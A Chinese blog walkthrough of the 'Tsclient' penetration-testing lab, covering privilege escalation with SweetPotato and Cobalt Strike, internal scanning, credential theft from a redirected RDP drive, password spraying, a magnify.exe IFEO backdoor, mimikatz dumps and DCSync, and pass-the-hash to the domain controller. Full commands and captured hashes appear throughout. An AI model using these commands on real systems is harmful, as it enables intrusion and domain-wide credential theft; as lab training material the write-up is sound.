文章封面：Tsclient
刷题&&打靶

Tsclient

Tsclient

image-20260311135729578

mssql用MDUT连接

image-20260311140116487

低权限用户,这里考虑potato系列提权然后连cs上线，先在vps上整好cs

image-20260311142530190

然后本机配上ip和用户名密码就行

image-20260311142559238

然后现在用cs生成一个监听exe

image-20260311142934513

这里端口可以换成别的，80端口被占用这里起不了，起完监听之后这里生成windows payload

image-20260311143317895

会生成一个木马，我们去找potato的工具一起上传到靶机，这里用printspoofer或者sweetpotato提权

image-20260311143917086

然后用这个启动我们生成的cs payload上线cs

1

C:/Windows/Temp/SweetPotato.exe -a "C:/Windows/Temp/artifact.exe"

image-20260311144100455

1

shell type C:\Users\Administrator\flag\flag01.txt

image-20260311144658295

上传fscan进行内网扫描

image-20260311145433316

这里结果全是乱码，还是去cs里面执行吧

1

shell C:/Windows/Temp/fscan.exe -h 172.22.8.0/24 -o C:/Windows/Temp/res.txt

这里输出到txt里面方便查看,这里的结果会下载到vps上

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.46 状态:identified 详情:title=IIS Windows Server, Url=http://172.22.8.46, status_code=200, length=703, server_info=map[accept-ranges:bytes content-length:703 content-type:text/html date:Wed, 11 Mar 2026 07:07:25 GMT etag:"687a619b3595d81:0" last-modified:Mon, 11 Jul 2022 14:50:48 GMT length:703 server:Microsoft-IIS/10.0 status_code:200 title:IIS Windows Server], fingerprints=[], port=80, service=http
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.46 状态:identified 详情:hostname=WIN2016, ipv4=[172.22.8.46], ipv6=[]
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.18 状态:identified 详情:hostname=WIN-WEB, ipv4=[172.22.8.18], ipv6=[2001:0:14c9:d206:18b3:2584:d89c:1fa4]
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.15 状态:identified 详情:port=139, domain_name=XIAORANG, workstation_service=DC01, server_service=DC01, domain_controllers=XIAORANG
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.31 状态:identified 详情:port=139, domain_name=XIAORANG, workstation_service=WIN19-CLIENT, server_service=WIN19-CLIENT
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.31 状态:identified 详情:ipv4=[172.22.8.31], ipv6=[], hostname=WIN19-CLIENT
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.15 状态:identified 详情:hostname=DC01, ipv4=[172.22.8.15], ipv6=[]
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.46 状态:identified 详情:computer_name=WIN2016.xiaorang.lab, domain_name=xiaorang.lab, netbios_domain=XIAORANG, netbios_computer=WIN2016, workstation_service=WIN2016, server_service=WIN2016, os_version=Windows Server 2016 Datacenter 14393, port=139
[2026-03-11 15:07:26] [SERVICE] 目标:172.22.8.18 状态:identified 详情:Url=http://172.22.8.18, status_code=200, length=703, server_info=map[accept-ranges:bytes content-length:703 content-type:text/html date:Wed, 11 Mar 2026 07:07:26 GMT etag:"de472b34195d81:0" last-modified:Mon, 11 Jul 2022 08:35:41 GMT length:703 server:Microsoft-IIS/10.0 status_code:200 title:IIS Windows Server], fingerprints=[], port=80, service=http, title=IIS Windows Server
[2026-03-11 15:07:33] [VULN] 目标:172.22.8.18 状态:vulnerable 详情:port=1433, service=mssql, username=sa, password=1qaz!QAZ, type=weak-password

没啥打的，总结一下信息

1
2
3
4

172.22.8.15 XIAORANG\DC01 # 域控
172.22.8.31 XIAORANG\WIN19-CLIENT
172.22.8.46 WIN2016.xiaorang.lab
172.22.8.18 WIN-WEB # 本机

枚举用户信息

image-20260311151747767

John这个用户是admin，查看一下

image-20260311151927298

其实可以直接查看在线用户

1

shell quser || qwinst #查看在线用户

image-20260311151946171

rdp远程连接，可以用cs进程注入

image-20260311152318164

选择John用户的svchost进程注入

上线之后查看共享资源

image-20260311152646394

发现TSClient,利用这个列目录

1

shell dir \\TSCLIENT\C

image-20260311152854798

发现credential.txt，查看一下

1

shell type \\TSCLIENT\C\credential.txt

image-20260311153000711

发现一个域用户的账号密码，以及提示镜像挟持

这里直接用cs搭建隧道，配置proxychains,这里用socks5

image-20260311153859612

然后用kali进行密码喷洒,就是撞库

image-20260311153942288

撞到WIN2016、WIN19-CLIENT、DC01这三个

这里修改WIN2016这台机子的密码

1

proxychains4 -q impacket-changepasswd xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.46 -newpass '0d00@0721'

但是报错说密码已失效，这里选择直接图形化修改密码了,登入WIN19-CLIENT这台试试

1

proxychains rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'

我把密码修改成0d00@0721，然后现在显示

image-20260311161153655

换46那台登入

1

proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p '0d00@0721'

image-20260311161526455

不出网，然后前面提示镜像挟持了，这里挟持放大镜

1

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

image-20260311161836428

回到锁定界面用放大镜

image-20260311162123028

这台机子不出网，用cs进行转发上线

image-20260311164023814

image-20260311164129054

这里生成一个beacon.exe，然后用rdesktop的-r参数挂载我kali的磁盘下exe上线

1

proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p '0d00@0721' -r disk:share=/tmp

image-20260311165250038

用放大镜拿的shell执行exe

image-20260311165539867

上线cs,拿下域控

查看域管成员

1

shell net group "domain admins" /domain

image-20260311165918279

拿密码

1

logonpasswords

image-20260311170101130

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251

Authentication Id : 0 ; 21891917 (00000000:014e0b4d)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/3/11 16:13:58
SID               : S-1-5-90-0-2
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab
	 * Password : d5 c1 9f 33 00 1b 0c 8e 9d 6e 81 7a 7e ca ce df f6 9c 13 5a f0 ff b9 95 b5 e4 01 74 e2 b6 56 57 fc 74 fc 22 54 ca f8 ed 29 2f 1b d7 71 ff 39 8c ff 29 d8 a2 05 dd b1 95 70 4c 70 7b fa e0 57 c7 89 aa c0 80 e8 14 f0 54 e4 61 25 3b 87 c0 de 72 cf 31 d2 1c d1 3d 56 e3 a4 a4 d4 69 d5 6d 95 e9 55 ef fd b5 81 de b3 39 96 3c 2a f5 cc d9 c1 25 97 33 48 53 f2 9b 60 7c e1 b2 62 76 6d c9 c8 02 d4 aa bc bf 80 1c 72 45 f4 23 fa 0a d1 39 b7 18 ca b5 6a ca a6 49 44 c0 91 64 13 0a 7c 3a 95 0d c2 a1 a1 1b 47 ef ce 12 58 e8 02 26 30 1a fc 05 72 0f cc 1f 09 19 1a 27 46 06 56 57 05 d2 6a ad 89 9a a5 b0 f3 fb 93 40 98 82 ba 09 96 66 1d 80 3f a1 fb 23 e3 90 e8 85 8f 86 5b fe e6 7d 9a f3 f0 27 b7 b5 57 0a 98 0c fd a5 f3 ae 97 74 14 1d 
	ssp :	
	credman :	

Authentication Id : 0 ; 21891893 (00000000:014e0b35)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/3/11 16:13:58
SID               : S-1-5-90-0-2
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab
	 * Password : d5 c1 9f 33 00 1b 0c 8e 9d 6e 81 7a 7e ca ce df f6 9c 13 5a f0 ff b9 95 b5 e4 01 74 e2 b6 56 57 fc 74 fc 22 54 ca f8 ed 29 2f 1b d7 71 ff 39 8c ff 29 d8 a2 05 dd b1 95 70 4c 70 7b fa e0 57 c7 89 aa c0 80 e8 14 f0 54 e4 61 25 3b 87 c0 de 72 cf 31 d2 1c d1 3d 56 e3 a4 a4 d4 69 d5 6d 95 e9 55 ef fd b5 81 de b3 39 96 3c 2a f5 cc d9 c1 25 97 33 48 53 f2 9b 60 7c e1 b2 62 76 6d c9 c8 02 d4 aa bc bf 80 1c 72 45 f4 23 fa 0a d1 39 b7 18 ca b5 6a ca a6 49 44 c0 91 64 13 0a 7c 3a 95 0d c2 a1 a1 1b 47 ef ce 12 58 e8 02 26 30 1a fc 05 72 0f cc 1f 09 19 1a 27 46 06 56 57 05 d2 6a ad 89 9a a5 b0 f3 fb 93 40 98 82 ba 09 96 66 1d 80 3f a1 fb 23 e3 90 e8 85 8f 86 5b fe e6 7d 9a f3 f0 27 b7 b5 57 0a 98 0c fd a5 f3 ae 97 74 14 1d 
	ssp :	
	credman :	

Authentication Id : 0 ; 55331 (00000000:0000d823)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:29
SID               : S-1-5-90-0-1
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab
	 * Password : d5 c1 9f 33 00 1b 0c 8e 9d 6e 81 7a 7e ca ce df f6 9c 13 5a f0 ff b9 95 b5 e4 01 74 e2 b6 56 57 fc 74 fc 22 54 ca f8 ed 29 2f 1b d7 71 ff 39 8c ff 29 d8 a2 05 dd b1 95 70 4c 70 7b fa e0 57 c7 89 aa c0 80 e8 14 f0 54 e4 61 25 3b 87 c0 de 72 cf 31 d2 1c d1 3d 56 e3 a4 a4 d4 69 d5 6d 95 e9 55 ef fd b5 81 de b3 39 96 3c 2a f5 cc d9 c1 25 97 33 48 53 f2 9b 60 7c e1 b2 62 76 6d c9 c8 02 d4 aa bc bf 80 1c 72 45 f4 23 fa 0a d1 39 b7 18 ca b5 6a ca a6 49 44 c0 91 64 13 0a 7c 3a 95 0d c2 a1 a1 1b 47 ef ce 12 58 e8 02 26 30 1a fc 05 72 0f cc 1f 09 19 1a 27 46 06 56 57 05 d2 6a ad 89 9a a5 b0 f3 fb 93 40 98 82 ba 09 96 66 1d 80 3f a1 fb 23 e3 90 e8 85 8f 86 5b fe e6 7d 9a f3 f0 27 b7 b5 57 0a 98 0c fd a5 f3 ae 97 74 14 1d 
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN2016$
Domain            : XIAORANG
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:28
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : win2016$
	 * Domain   : XIAORANG.LAB
	 * Password : d5 c1 9f 33 00 1b 0c 8e 9d 6e 81 7a 7e ca ce df f6 9c 13 5a f0 ff b9 95 b5 e4 01 74 e2 b6 56 57 fc 74 fc 22 54 ca f8 ed 29 2f 1b d7 71 ff 39 8c ff 29 d8 a2 05 dd b1 95 70 4c 70 7b fa e0 57 c7 89 aa c0 80 e8 14 f0 54 e4 61 25 3b 87 c0 de 72 cf 31 d2 1c d1 3d 56 e3 a4 a4 d4 69 d5 6d 95 e9 55 ef fd b5 81 de b3 39 96 3c 2a f5 cc d9 c1 25 97 33 48 53 f2 9b 60 7c e1 b2 62 76 6d c9 c8 02 d4 aa bc bf 80 1c 72 45 f4 23 fa 0a d1 39 b7 18 ca b5 6a ca a6 49 44 c0 91 64 13 0a 7c 3a 95 0d c2 a1 a1 1b 47 ef ce 12 58 e8 02 26 30 1a fc 05 72 0f cc 1f 09 19 1a 27 46 06 56 57 05 d2 6a ad 89 9a a5 b0 f3 fb 93 40 98 82 ba 09 96 66 1d 80 3f a1 fb 23 e3 90 e8 85 8f 86 5b fe e6 7d 9a f3 f0 27 b7 b5 57 0a 98 0c fd a5 f3 ae 97 74 14 1d 
	ssp :	
	credman :	

Authentication Id : 0 ; 21915646 (00000000:014e67fe)
Session           : RemoteInteractive from 2
User Name         : Aldrich
Domain            : XIAORANG
Logon Server      : DC01
Logon Time        : 2026/3/11 16:13:58
SID               : S-1-5-21-3289074908-3315245560-3429321632-1105
	msv :	
	 [00000003] Primary
	 * Username : Aldrich
	 * Domain   : XIAORANG
	 * NTLM     : 630aa5e88c0b382c5dfdd935965aa343
	 * SHA1     : 49ffb25f942060cf13ec4fcfa94f040b7306e587
	 * DPAPI    : e58d6469c288dc84f471b6c317166924
	tspkg :	
	wdigest :	
	 * Username : Aldrich
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : Aldrich
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 15426231 (00000000:00eb62b7)
Session           : Service from 0
User Name         : DefaultAppPool
Domain            : IIS APPPOOL
Logon Server      : (null)
Logon Time        : 2026/3/11 14:56:54
SID               : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab
	 * Password : d5 c1 9f 33 00 1b 0c 8e 9d 6e 81 7a 7e ca ce df f6 9c 13 5a f0 ff b9 95 b5 e4 01 74 e2 b6 56 57 fc 74 fc 22 54 ca f8 ed 29 2f 1b d7 71 ff 39 8c ff 29 d8 a2 05 dd b1 95 70 4c 70 7b fa e0 57 c7 89 aa c0 80 e8 14 f0 54 e4 61 25 3b 87 c0 de 72 cf 31 d2 1c d1 3d 56 e3 a4 a4 d4 69 d5 6d 95 e9 55 ef fd b5 81 de b3 39 96 3c 2a f5 cc d9 c1 25 97 33 48 53 f2 9b 60 7c e1 b2 62 76 6d c9 c8 02 d4 aa bc bf 80 1c 72 45 f4 23 fa 0a d1 39 b7 18 ca b5 6a ca a6 49 44 c0 91 64 13 0a 7c 3a 95 0d c2 a1 a1 1b 47 ef ce 12 58 e8 02 26 30 1a fc 05 72 0f cc 1f 09 19 1a 27 46 06 56 57 05 d2 6a ad 89 9a a5 b0 f3 fb 93 40 98 82 ba 09 96 66 1d 80 3f a1 fb 23 e3 90 e8 85 8f 86 5b fe e6 7d 9a f3 f0 27 b7 b5 57 0a 98 0c fd a5 f3 ae 97 74 14 1d 
	ssp :	
	credman :	

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:32
SID               : S-1-5-17
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:29
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 55356 (00000000:0000d83c)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:29
SID               : S-1-5-90-0-1
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 4ba974f170ab0fe1a8a1eb0ed8f6fe1a
	 * SHA1     : e06238ecefc14d675f762b08a456770dc000f763
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab
	 * Password : 9e ae c4 7a ed ee 91 74 a5 59 61 a5 00 2c c5 00 60 3b 87 48 d0 17 48 cf df 7b 14 af 9a 99 22 b5 94 ba 0a 1e f0 6e f0 25 b1 e2 a2 62 fb b8 68 93 42 64 08 b7 f6 2e f7 cf ae a3 7a 94 9d 32 24 1a b1 6b 87 6c 5e f1 d3 89 c6 c4 8b d3 bd 05 9c b0 e1 85 d4 2c 03 56 5f af 09 15 12 10 df 74 e7 4c d3 65 55 d8 ab bd b4 71 5c 8c a7 bd 14 60 8b 44 b5 d8 d8 61 23 f1 4f 4d 8e a0 dc ac 8a 60 15 0d f7 9f a1 85 98 c4 cf 34 ec ee ea c5 b9 5b 42 8b 97 cc 4d ed 1f db 8c b4 45 06 ce 40 fc 81 96 ac c3 61 e5 e9 42 90 69 f3 b2 85 fa 80 59 e2 8b a5 f6 70 5d 1a bd 5f b1 85 6b ae b0 16 42 29 2c 99 57 fb 49 ea e3 29 49 56 55 6c 9a 2b ee 13 77 fe d7 a3 51 b8 01 ec bb 60 22 b8 7c 2f f5 6b 0f 6b 87 36 76 45 81 7e e3 71 0a a8 ca 2a a3 a6 05 64 
	ssp :	
	credman :	

Authentication Id : 0 ; 25381 (00000000:00006325)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:28
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WIN2016$
Domain            : XIAORANG
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:28
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : win2016$
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :

拿到这里的NTLM凭证，直接用crackmapexec命令执行

1

proxychains4 crackmapexec smb 172.22.8.15 -u 'WIN2016$' -H 8f2e9a48501c4ce8574981f323786bfa -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"

image-20260311171301354

或者上传mimikatz dump出其他用户的hash再命令执行

1

shell C:\\Users\\Public\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

然后是dump dcsync

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

[05/26 18:58:21] [*] Tasked beacon to run: C:\\Users\\Public\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
[05/26 18:58:21] [+] host called home, sent: 137 bytes
[05/26 18:58:22] [+] received output:

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502	krbtgt	3ffd5b58b4a6328659a606c3ea6f9b63	514
1000	DC01$	f96c2590d6a79fcb1ef4238ade63a071	532480
500	Administrator	2c9d81bdcf3ec8b1def10328a7cc2f08	512
1103	WIN2016$	6e3b4351775ddedcfee0c3632f9747c4	16781312
1104	WIN19-CLIENT$	e2f7b9fef4b865cf2f721d512ad3c35a	16781312
1105	Aldrich	161cff084477fe596a5db81874498a24	512

mimikatz(commandline) # exit
Bye!

得到Administrator的hash,拿shell

1

proxychains4 impacket-smbexec -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 xiaorang.lab/administrator@172.22.8.15 -codec gbk
© 2025 - 2026 无敌可爱美咕噜
使用 Hugo 构建
主题 Stack 由 Jimmy 设计